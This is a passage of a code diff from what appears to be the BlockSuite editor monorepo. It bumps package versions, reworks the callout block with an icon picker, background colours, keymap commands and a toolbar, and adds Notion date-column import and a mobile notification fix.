"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.16",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.23",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -45,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -18,10 +18,11 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emoji-mart/data": "^1.2.1",
"@emotion/css": "^11.13.5",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
@@ -29,9 +30,9 @@
"@types/mdast": "^4.0.4",
"emoji-mart": "^5.6.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -44,5 +45,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -0,0 +1,56 @@
import { css } from '@emotion/css';
export const calloutHostStyles = css({
display: 'block',
margin: '8px 0',
});
export const calloutBlockContainerStyles = css({
display: 'flex',
alignItems: 'flex-start',
padding: '5px 10px',
borderRadius: '8px',
});
export const calloutEmojiContainerStyles = css({
userSelect: 'none',
fontSize: '1.2em',
width: '24px',
height: '24px',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
// marginTop is dynamically set by JavaScript based on first child's height
marginBottom: '10px',
flexShrink: 0,
position: 'relative',
});
export const calloutEmojiStyles = css({
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
':hover': {
cursor: 'pointer',
opacity: 0.7,
},
});
export const calloutChildrenStyles = css({
flex: 1,
minWidth: 0,
paddingLeft: '10px',
});
export const iconPickerContainerStyles = css({
position: 'absolute',
top: '100%',
left: 0,
zIndex: 1000,
background: 'white',
border: '1px solid #ccc',
borderRadius: '8px',
boxShadow: '0 4px 12px rgba(0, 0, 0, 0.15)',
width: '390px',
height: '400px',
});

View File

@@ -1,84 +1,191 @@
import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
createPopup,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { DefaultInlineManagerExtension } from '@blocksuite/affine-inline-preset';
import { type CalloutBlockModel } from '@blocksuite/affine-model';
import {
type CalloutBlockModel,
type ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { EDGELESS_TOP_CONTENTEDITABLE_SELECTOR } from '@blocksuite/affine-shared/consts';
import {
DocModeProvider,
ThemeProvider,
type IconData,
IconPickerServiceIdentifier,
IconType,
} from '@blocksuite/affine-shared/services';
import { unsafeCSSVarV2 } from '@blocksuite/affine-shared/theme';
import type { UniComponent } from '@blocksuite/affine-shared/types';
import * as icons from '@blocksuite/icons/lit';
import type { BlockComponent } from '@blocksuite/std';
import { flip, offset } from '@floating-ui/dom';
import { css, html } from 'lit';
import { query } from 'lit/decorators.js';
import { styleMap } from 'lit/directives/style-map.js';
import { type Signal } from '@preact/signals-core';
import { cssVarV2 } from '@toeverything/theme/v2';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import {
calloutBlockContainerStyles,
calloutChildrenStyles,
calloutEmojiContainerStyles,
calloutEmojiStyles,
calloutHostStyles,
} from './callout-block-styles.js';
import { IconPickerWrapper } from './icon-picker-wrapper.js';
// Copy of renderUniLit and UniLit from affine-data-view
export const renderUniLit = <Props, Expose extends NonNullable<unknown>>(
uni: UniComponent<Props, Expose> | undefined,
props?: Props,
options?: {
ref?: Signal<Expose | undefined>;
style?: Readonly<StyleInfo>;
class?: string;
}
): TemplateResult => {
return html` <uni-lit
.uni="${uni}"
.props="${props}"
.ref="${options?.ref}"
style=${options?.style ? styleMap(options?.style) : ''}
></uni-lit>`;
};
const getIcon = (icon?: IconData) => {
if (!icon) {
return null;
}
if (icon.type === IconType.Emoji) {
return icon.unicode;
}
if (icon.type === IconType.AffineIcon) {
return (
icons as Record<string, (props: { style: string }) => TemplateResult>
)[`${icon.name}Icon`]?.({ style: `color:${icon.color}` });
}
return null;
};
export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockModel> {
static override styles = css`
:host {
display: block;
margin: 8px 0;
private _popupCloseHandler: (() => void) | null = null;
override connectedCallback() {
super.connectedCallback();
this.classList.add(calloutHostStyles);
}
private _getEmojiMarginTop(): string {
if (this.model.children.length === 0) {
return '10px';
}
.affine-callout-block-container {
display: flex;
padding: 5px 10px;
border-radius: 8px;
background-color: ${unsafeCSSVarV2('block/callout/background/grey')};
const firstChild = this.model.children[0];
const flavour = firstChild.flavour;
const marginTopMap: Record<string, string> = {
'affine:paragraph:h1': '23px',
'affine:paragraph:h2': '20px',
'affine:paragraph:h3': '16px',
'affine:paragraph:h4': '15px',
'affine:paragraph:h5': '14px',
'affine:paragraph:h6': '13px',
};
// For heading blocks, use the type to determine margin
if (flavour === 'affine:paragraph') {
const paragraph = firstChild as ParagraphBlockModel;
const type = paragraph.props.type$.value;
const key = `${flavour}:${type}`;
return marginTopMap[key] || '10px';
}
.affine-callout-emoji-container {
margin-right: 10px;
margin-top: 14px;
user-select: none;
font-size: 1.2em;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
// Default for all other block types
return '10px';
}
private _closeIconPicker() {
if (this._popupCloseHandler) {
this._popupCloseHandler();
this._popupCloseHandler = null;
}
.affine-callout-emoji:hover {
cursor: pointer;
opacity: 0.7;
}
private _toggleIconPicker(event: MouseEvent) {
// If popup is already open, close it
if (this._popupCloseHandler) {
this._closeIconPicker();
return;
}
.affine-callout-children {
flex: 1;
min-width: 0;
padding-left: 10px;
// Get IconPickerService from the framework
const iconPickerService = this.std.getOptional(IconPickerServiceIdentifier);
if (!iconPickerService) {
console.warn('IconPickerService not found');
return;
}
`;
private _emojiMenuAbortController: AbortController | null = null;
private readonly _toggleEmojiMenu = () => {
if (this._emojiMenuAbortController) {
this._emojiMenuAbortController.abort();
}
this._emojiMenuAbortController = new AbortController();
// Get the uni-component from the service
const iconPickerComponent = iconPickerService.iconPickerComponent;
const theme = this.std.get(ThemeProvider).theme$.value;
createLitPortal({
template: html`<affine-emoji-menu
.theme=${theme}
.onEmojiSelect=${(data: any) => {
this.model.props.emoji = data.native;
}}
></affine-emoji-menu>`,
portalStyles: {
zIndex: 'var(--affine-z-index-popover)',
// Create props for the icon picker
const props = {
onSelect: (iconData?: IconData) => {
this.model.props.icon$.value = iconData;
this._closeIconPicker(); // Close the picker after selection
},
container: this.host,
computePosition: {
referenceElement: this._emojiButton,
placement: 'bottom-start',
middleware: [flip(), offset(4)],
autoUpdate: { animationFrame: true },
onClose: () => {
this._closeIconPicker();
},
};
// Create IconPickerWrapper instance
const wrapper = new IconPickerWrapper();
wrapper.iconPickerComponent = iconPickerComponent;
wrapper.props = props;
wrapper.style.position = 'absolute';
wrapper.style.backgroundColor = cssVarV2.layer.background.overlayPanel;
wrapper.style.boxShadow = 'var(--affine-menu-shadow)';
wrapper.style.borderRadius = '8px';
// Create popup target from the clicked element
const target = popupTargetFromElement(event.currentTarget as HTMLElement);
// Create popup
this._popupCloseHandler = createPopup(target, wrapper, {
onClose: () => {
this._popupCloseHandler = null;
},
abortController: this._emojiMenuAbortController,
closeOnClickAway: true,
});
}
private readonly _handleBlockClick = (event: MouseEvent) => {
// Check if the click target is emoji related element
const target = event.target as HTMLElement;
if (
target.closest('.affine-callout-emoji-container') ||
target.classList.contains('affine-callout-emoji')
) {
return;
}
// If there's no icon, open icon picker on click
const icon = this.model.props.icon$.value;
if (!icon) {
this._toggleIconPicker(event);
return;
}
// Only handle clicks when there are no children
if (this.model.children.length > 0) {
return;
}
// Prevent event bubbling
event.stopPropagation();
// Create a new paragraph block
const paragraphId = this.store.addBlock('affine:paragraph', {}, this.model);
// Focus the new paragraph
focusTextModel(this.std, paragraphId);
};
get attributeRenderer() {
@@ -97,9 +204,6 @@ export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockM
return this.std.get(DefaultInlineManagerExtension.identifier);
}
@query('.affine-callout-emoji')
private accessor _emojiButton!: HTMLElement;
override get topContenteditableElement() {
if (this.std.get(DocModeProvider).getEditorMode() === 'edgeless') {
return this.closest<BlockComponent>(
@@ -110,20 +214,39 @@ export class CalloutBlockComponent extends CaptionedBlockComponent<CalloutBlockM
}
override renderBlock() {
const emoji = this.model.props.emoji$.value;
const icon = this.model.props.icon$.value;
const backgroundColorName = this.model.props.backgroundColorName$.value;
const backgroundColor = (
cssVarV2.block.callout.background as Record<string, string>
)[backgroundColorName ?? ''];
const iconContent = getIcon(icon);
return html`
<div class="affine-callout-block-container">
<div
@click=${this._toggleEmojiMenu}
contenteditable="false"
class="affine-callout-emoji-container"
style=${styleMap({
display: emoji.length === 0 ? 'none' : undefined,
})}
>
<span class="affine-callout-emoji">${emoji}</span>
</div>
<div class="affine-callout-children">
<div
class="${calloutBlockContainerStyles}"
@click=${this._handleBlockClick}
style=${styleMap({
backgroundColor: backgroundColor ?? 'transparent',
})}
>
${iconContent
? html`
<div
@click=${this._toggleIconPicker}
contenteditable="false"
class="${calloutEmojiContainerStyles}"
style=${styleMap({
marginTop: this._getEmojiMarginTop(),
})}
>
<span class="${calloutEmojiStyles}" data-testid="callout-emoji"
>${iconContent}</span
>
</div>
`
: ''}
<div class="${calloutChildrenStyles}">
${this.renderChildren(this.model)}
</div>
</div>

View File

@@ -1,4 +1,7 @@
import { CalloutBlockModel } from '@blocksuite/affine-model';
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { matchModels } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
@@ -6,13 +9,46 @@ import {
TextSelection,
} from '@blocksuite/std';
import { calloutToParagraphCommand } from './commands/callout-to-paragraph.js';
import { splitCalloutCommand } from './commands/split-callout.js';
export const CalloutKeymapExtension = KeymapExtension(std => {
return {
Enter: ctx => {
const text = std.selection.find(TextSelection);
if (!text) return false;
const currentBlock = std.store.getBlock(text.from.blockId);
if (!currentBlock) return false;
// Check if current block is a callout block
let calloutBlock = currentBlock;
if (!matchModels(currentBlock.model, [CalloutBlockModel])) {
// If not, check if the parent is a callout block
const parent = std.store.getParent(currentBlock.model);
if (!parent || !matchModels(parent, [CalloutBlockModel])) {
return false;
}
const parentBlock = std.store.getBlock(parent.id);
if (!parentBlock) return false;
calloutBlock = parentBlock;
}
ctx.get('keyboardState').raw.preventDefault();
std.command
.chain()
.pipe(splitCalloutCommand, {
blockId: calloutBlock.model.id,
inlineIndex: text.from.index,
currentBlockId: text.from.blockId,
})
.run();
return true;
},
Backspace: ctx => {
const text = std.selection.find(TextSelection);
if (text && text.isCollapsed() && text.from.index === 0) {
const event = ctx.get('defaultState').event;
event.preventDefault();
const block = std.store.getBlock(text.from.blockId);
if (!block) return false;
@@ -20,6 +56,22 @@ export const CalloutKeymapExtension = KeymapExtension(std => {
if (!parent) return false;
if (!matchModels(parent, [CalloutBlockModel])) return false;
// Check if current block is a paragraph inside callout
if (matchModels(block.model, [ParagraphBlockModel])) {
event.preventDefault();
std.command
.chain()
.pipe(calloutToParagraphCommand, {
id: block.model.id,
})
.run();
return true;
}
// Fallback to selecting the callout block
event.preventDefault();
std.selection.setGroup('note', [
std.selection.create(BlockSelection, {
blockId: parent.id,

View File

@@ -0,0 +1,86 @@
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { matchModels } from '@blocksuite/affine-shared/utils';
import type { Command } from '@blocksuite/std';
import { BlockSelection } from '@blocksuite/std';
import { Text } from '@blocksuite/store';
export const calloutToParagraphCommand: Command<
{
id: string;
stopCapturing?: boolean;
},
{
success: boolean;
}
> = (ctx, next) => {
const { id, stopCapturing = true } = ctx;
const std = ctx.std;
const doc = std.store;
const model = doc.getBlock(id)?.model;
if (!model || !matchModels(model, [ParagraphBlockModel])) return false;
const parent = doc.getParent(model);
if (!parent || !matchModels(parent, [CalloutBlockModel])) return false;
if (stopCapturing) std.store.captureSync();
// Get current block index in callout
const currentIndex = parent.children.indexOf(model);
const hasText = model.text && model.text.length > 0;
// Find previous paragraph block in callout
let previousBlock = null;
for (let i = currentIndex - 1; i >= 0; i--) {
const sibling = parent.children[i];
if (matchModels(sibling, [ParagraphBlockModel])) {
previousBlock = sibling;
break;
}
}
if (previousBlock && hasText) {
// Clone current text content before any operations to prevent data loss
const currentText = model.text || new Text();
// Get previous block text and merge index
const previousText = previousBlock.text || new Text();
const mergeIndex = previousText.length;
// Apply each delta from cloned current text to previous block to preserve formatting
previousText.join(currentText);
// Remove current block after text has been merged
doc.deleteBlock(model, {
deleteChildren: false,
});
// Focus at merge point in previous block
focusTextModel(std, previousBlock.id, mergeIndex);
} else if (previousBlock && !hasText) {
// Move cursor to end of previous block
doc.deleteBlock(model, {
deleteChildren: false,
});
const previousText = previousBlock.text || new Text();
focusTextModel(std, previousBlock.id, previousText.length);
} else {
// No previous block, select the entire callout
doc.deleteBlock(model, {
deleteChildren: false,
});
std.selection.setGroup('note', [
std.selection.create(BlockSelection, {
blockId: parent.id,
}),
]);
}
return next({ success: true });
};

View File

@@ -0,0 +1,85 @@
import {
CalloutBlockModel,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { focusTextModel } from '@blocksuite/affine-rich-text';
import { matchModels } from '@blocksuite/affine-shared/utils';
import type { Command, EditorHost } from '@blocksuite/std';
export const splitCalloutCommand: Command<{
blockId: string;
inlineIndex: number;
currentBlockId: string;
}> = (ctx, next) => {
const { blockId, inlineIndex, currentBlockId, std } = ctx;
const host = std.host as EditorHost;
const doc = host.store;
const calloutModel = doc.getBlock(blockId)?.model;
if (!calloutModel || !matchModels(calloutModel, [CalloutBlockModel])) {
console.error(`block ${blockId} is not a callout block`);
return;
}
const currentModel = doc.getBlock(currentBlockId)?.model;
if (!currentModel) {
console.error(`current block ${currentBlockId} not found`);
return;
}
doc.captureSync();
if (matchModels(currentModel, [ParagraphBlockModel])) {
// User is in a paragraph within the callout's children
const afterText = currentModel.props.text.split(inlineIndex);
// Update the current paragraph's text to keep only the part before cursor
doc.transact(() => {
currentModel.props.text.delete(
inlineIndex,
currentModel.props.text.length - inlineIndex
);
});
// Create a new paragraph block after the current one
const parent = doc.getParent(currentModel);
if (parent) {
const currentIndex = parent.children.indexOf(currentModel);
const newParagraphId = doc.addBlock(
'affine:paragraph',
{
text: afterText,
},
parent,
currentIndex + 1
);
if (newParagraphId) {
host.updateComplete
.then(() => {
focusTextModel(std, newParagraphId);
})
.catch(console.error);
}
}
} else {
// If current block is not a paragraph, create a new paragraph in callout
const newParagraphId = doc.addBlock(
'affine:paragraph',
{
text: new Text(),
},
calloutModel
);
if (newParagraphId) {
host.updateComplete
.then(() => {
focusTextModel(std, newParagraphId);
})
.catch(console.error);
}
}
next();
};

View File

@@ -1,24 +1,11 @@
import { CalloutBlockModel } from '@blocksuite/affine-model';
import { focusBlockEnd } from '@blocksuite/affine-shared/commands';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
import {
findAncestorModel,
isInsideBlockByFlavour,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { isInsideBlockByFlavour } from '@blocksuite/affine-shared/utils';
import { type SlashMenuConfig } from '@blocksuite/affine-widget-slash-menu';
import { FontIcon } from '@blocksuite/icons/lit';
import { calloutTooltip } from './tooltips';
export const calloutSlashMenuConfig: SlashMenuConfig = {
disableWhen: ({ model }) => {
return (
findAncestorModel(model, ancestor =>
matchModels(ancestor, [CalloutBlockModel])
) !== null
);
},
items: [
{
name: 'Callout',
@@ -30,10 +17,11 @@ export const calloutSlashMenuConfig: SlashMenuConfig = {
},
searchAlias: ['callout'],
group: '0_Basic@9',
when: ({ std, model }) => {
return (
std.get(FeatureFlagService).getFlag('enable_callout') &&
!isInsideBlockByFlavour(model.store, model, 'affine:edgeless-text')
when: ({ model }) => {
return !isInsideBlockByFlavour(
model.store,
model,
'affine:edgeless-text'
);
},
action: ({ model, std }) => {

View File

@@ -0,0 +1,204 @@
import {
createPopup,
popupTargetFromElement,
} from '@blocksuite/affine-components/context-menu';
import { EditorChevronDown } from '@blocksuite/affine-components/toolbar';
import { CalloutBlockModel } from '@blocksuite/affine-model';
import {
ActionPlacement,
type IconData,
IconPickerServiceIdentifier,
type ToolbarAction,
type ToolbarActionGroup,
type ToolbarModuleConfig,
ToolbarModuleExtension,
} from '@blocksuite/affine-shared/services';
import { DeleteIcon, PaletteIcon, SmileIcon } from '@blocksuite/icons/lit';
import { BlockFlavourIdentifier } from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
import { cssVarV2 } from '@toeverything/theme/v2';
import { html } from 'lit';
import { repeat } from 'lit/directives/repeat.js';
import { styleMap } from 'lit/directives/style-map.js';
import { IconPickerWrapper } from '../icon-picker-wrapper.js';
const colors = [
'default',
'red',
'orange',
'yellow',
'green',
'teal',
'blue',
'purple',
'grey',
] as const;
const backgroundColorAction = {
id: 'background-color',
label: 'Background Color',
tooltip: 'Change background color',
icon: PaletteIcon(),
run() {
// This will be handled by the content function
},
content(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return null;
const updateBackground = (color: string) => {
ctx.store.updateBlock(model, { backgroundColorName: color });
};
return html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="background"
.tooltip=${'Background Color'}
>
${PaletteIcon()} ${EditorChevronDown}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
<div class="highlight-heading">Background</div>
${repeat(colors, color => {
const isDefault = color === 'default';
const value = isDefault
? null
: `var(--affine-text-highlight-${color})`;
const displayName = `${color} Background`;
return html`
<editor-menu-action
data-testid="background-${color}"
@click=${() => updateBackground(color)}
>
<affine-text-duotone-icon
style=${styleMap({
'--color': 'var(--affine-text-primary-color)',
'--background': value ?? 'transparent',
})}
></affine-text-duotone-icon>
<span class="label capitalize">${displayName}</span>
</editor-menu-action>
`;
})}
</div>
</editor-menu-button>
`;
},
} satisfies ToolbarAction;
const iconPickerAction = {
id: 'icon-picker',
label: 'Icon Picker',
tooltip: 'Change icon',
icon: SmileIcon(),
run() {
// This will be handled by the content function
},
content(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return null;
const handleIconPickerClick = (event: MouseEvent) => {
// Get IconPickerService from the framework
const iconPickerService = ctx.std.getOptional(
IconPickerServiceIdentifier
);
if (!iconPickerService) {
console.warn('IconPickerService not found');
return;
}
// Get the uni-component from the service
const iconPickerComponent = iconPickerService.iconPickerComponent;
// Create props for the icon picker
const props = {
onSelect: (iconData?: IconData) => {
// When iconData is undefined (delete icon), set icon to undefined
ctx.store.updateBlock(model, { icon: iconData });
closeHandler(); // Close the picker after selection
},
onClose: () => {
closeHandler();
},
};
// Create IconPickerWrapper instance
const wrapper = new IconPickerWrapper();
wrapper.iconPickerComponent = iconPickerComponent;
wrapper.props = props;
wrapper.style.position = 'absolute';
wrapper.style.backgroundColor = cssVarV2.layer.background.overlayPanel;
wrapper.style.boxShadow = 'var(--affine-menu-shadow)';
wrapper.style.borderRadius = '8px';
// Create popup target from the clicked element
const target = popupTargetFromElement(event.currentTarget as HTMLElement);
// Create popup
const closeHandler = createPopup(target, wrapper, {
onClose: () => {
// Cleanup if needed
},
});
};
return html`
<editor-icon-button
aria-label="icon-picker"
.tooltip=${'Change Icon'}
@click=${handleIconPickerClick}
>
${SmileIcon()} ${EditorChevronDown}
</editor-icon-button>
`;
},
} satisfies ToolbarAction;
const builtinToolbarConfig = {
actions: [
{
id: 'style',
actions: [backgroundColorAction],
} satisfies ToolbarActionGroup<ToolbarAction>,
{
id: 'icon',
actions: [iconPickerAction],
} satisfies ToolbarActionGroup<ToolbarAction>,
{
placement: ActionPlacement.More,
id: 'c.delete',
label: 'Delete',
icon: DeleteIcon(),
variant: 'destructive',
run(ctx) {
const model = ctx.getCurrentModelByType(CalloutBlockModel);
if (!model) return;
ctx.store.deleteBlock(model);
// Clears
ctx.select('note');
ctx.reset();
},
} satisfies ToolbarAction,
],
} as const satisfies ToolbarModuleConfig;
export const createBuiltinToolbarConfigExtension = (
flavour: string
): ExtensionType[] => {
return [
ToolbarModuleExtension({
id: BlockFlavourIdentifier(flavour),
config: builtinToolbarConfig,
}),
];
};

View File

@@ -1,14 +1,14 @@
import { CalloutBlockComponent } from './callout-block';
import { EmojiMenu } from './emoji-menu';
import { IconPickerWrapper } from './icon-picker-wrapper';
export function effects() {
customElements.define('affine-callout', CalloutBlockComponent);
customElements.define('affine-emoji-menu', EmojiMenu);
customElements.define('icon-picker-wrapper', IconPickerWrapper);
}
declare global {
interface HTMLElementTagNameMap {
'affine-callout': CalloutBlockComponent;
'affine-emoji-menu': EmojiMenu;
'icon-picker-wrapper': IconPickerWrapper;
}
}

View File

@@ -1,34 +0,0 @@
import { WithDisposable } from '@blocksuite/global/lit';
import data from '@emoji-mart/data';
import { Picker } from 'emoji-mart';
import { html, LitElement, type PropertyValues } from 'lit';
import { property, query } from 'lit/decorators.js';
export class EmojiMenu extends WithDisposable(LitElement) {
override firstUpdated(props: PropertyValues) {
const result = super.firstUpdated(props);
const picker = new Picker({
data,
onEmojiSelect: this.onEmojiSelect,
autoFocus: true,
theme: this.theme,
});
this.emojiMenu.append(picker as unknown as Node);
return result;
}
@property({ attribute: false })
accessor onEmojiSelect: (data: any) => void = () => {};
@property({ attribute: false })
accessor theme: 'light' | 'dark' = 'light';
@query('.affine-emoji-menu')
accessor emojiMenu!: HTMLElement;
override render() {
return html`<div class="affine-emoji-menu"></div>`;
}
}

View File

@@ -0,0 +1,52 @@
import type { IconData } from '@blocksuite/affine-shared/services';
import type { UniComponent } from '@blocksuite/affine-shared/types';
import { ShadowlessElement } from '@blocksuite/std';
import { type Signal } from '@preact/signals-core';
import { html, type TemplateResult } from 'lit';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
// Copy of renderUniLit from callout-block.ts
const renderUniLit = <Props, Expose extends NonNullable<unknown>>(
uni: UniComponent<Props, Expose> | undefined,
props?: Props,
options?: {
ref?: Signal<Expose | undefined>;
style?: Readonly<StyleInfo>;
class?: string;
}
): TemplateResult => {
return html` <uni-lit
.uni="${uni}"
.props="${props}"
.ref="${options?.ref}"
style=${options?.style ? styleMap(options?.style) : ''}
></uni-lit>`;
};
export interface IconPickerWrapperProps {
onSelect?: (iconData?: IconData) => void;
onClose?: () => void;
}
export class IconPickerWrapper extends ShadowlessElement {
iconPickerComponent?: UniComponent<IconPickerWrapperProps, any>;
props?: IconPickerWrapperProps;
constructor() {
super();
}
override render() {
if (!this.iconPickerComponent) {
return html``;
}
return renderUniLit(this.iconPickerComponent, this.props);
}
}
declare global {
interface HTMLElementTagNameMap {
'icon-picker-wrapper': IconPickerWrapper;
}
}

View File

@@ -8,6 +8,7 @@ import { literal } from 'lit/static-html.js';
import { CalloutKeymapExtension } from './callout-keymap';
import { calloutSlashMenuConfig } from './configs/slash-menu';
import { createBuiltinToolbarConfigExtension } from './configs/toolbar';
import { effects } from './effects';
export class CalloutViewExtension extends ViewExtensionProvider {
@@ -25,6 +26,7 @@ export class CalloutViewExtension extends ViewExtensionProvider {
BlockViewExtension('affine:callout', literal`affine-callout`),
CalloutKeymapExtension,
SlashMenuConfigExtension('affine:callout', calloutSlashMenuConfig),
...createBuiltinToolbarConfigExtension('affine:callout'),
]);
}
}

View File

@@ -22,7 +22,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -31,10 +31,10 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"shiki": "^3.0.0",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"shiki": "^3.19.0",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -1,6 +1,4 @@
export const CODE_BLOCK_DEFAULT_DARK_THEME = import(
'shiki/themes/dark-plus.mjs'
);
export const CODE_BLOCK_DEFAULT_LIGHT_THEME = import(
'shiki/themes/light-plus.mjs'
);
export const CODE_BLOCK_DEFAULT_DARK_THEME =
import('shiki/themes/dark-plus.mjs');
export const CODE_BLOCK_DEFAULT_LIGHT_THEME =
import('shiki/themes/light-plus.mjs');

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -27,9 +27,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -21,7 +21,7 @@
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@emotion/css": "^11.13.5",
@@ -32,10 +32,10 @@
"@types/mdast": "^4.0.4",
"date-fns": "^4.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -48,5 +48,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -15,6 +15,7 @@ const ColumnClassMap: Record<string, string> = {
typesCheckbox: 'checkbox',
typesText: 'rich-text',
typesTitle: 'title',
typesDate: 'date',
};
const NotionDatabaseToken = '.collection-content';
@@ -165,7 +166,36 @@ export const databaseBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatche
if (!column) {
return;
}
if (HastUtils.querySelector(child, '.selected-value')) {
// Check for <time> element to find date field from Notion.
if (HastUtils.querySelector(child, 'time')) {
const timeElement = HastUtils.querySelector(child, 'time');
let rawColumnData =
HastUtils.getTextContent(timeElement).trim();
if (rawColumnData.startsWith('@')) {
rawColumnData = rawColumnData.slice(1);
}
const columnDate = new Date(rawColumnData);
const timestamp = columnDate.getTime();
if (!Number.isNaN(timestamp)) {
column.data = {};
if (column.type !== 'date') {
column.type = 'date';
}
row[column.id] = {
columnId: column.id,
value: timestamp,
};
} else {
row[column.id] = {
columnId: column.id,
value: HastUtils.getTextContent(child),
};
}
} else if (HastUtils.querySelector(child, '.selected-value')) {
if (!('options' in column.data)) {
column.data.options = [];
}

View File

@@ -176,7 +176,7 @@ export class DatabaseTitle extends SignalWatcher(
private readonly isFocus$ = signal(false);
private onPressEnterKey() {
this.dataViewLogic.addRow?.('start');
this.input.blur();
}
get readonly$() {

View File

@@ -372,6 +372,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
handleMobileEditing() {
if (!IS_MOBILE) return;
let notifyClosed = true;
const handler = () => {
if (
!this.std
@@ -379,7 +380,8 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
.getFlag('enable_mobile_database_editing')
) {
const notification = this.std.getOptional(NotificationProvider);
if (notification) {
if (notification && notifyClosed) {
notifyClosed = false;
notification.notify({
title: html`<div
style=${styleMap({
@@ -390,16 +392,15 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
experimental features, or edit it in desktop mode.
</div>`,
accent: 'warning',
onClose: () => {
notifyClosed = true;
},
});
}
this.removeEventListener('click', handler);
}
};
this.addEventListener('click', handler);
this.disposables.add(() => {
this.removeEventListener('click', handler);
});
this.disposables.addFromEvent(this, 'click', handler);
}
private readonly dataViewRootLogic = lazy(

View File

@@ -24,9 +24,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
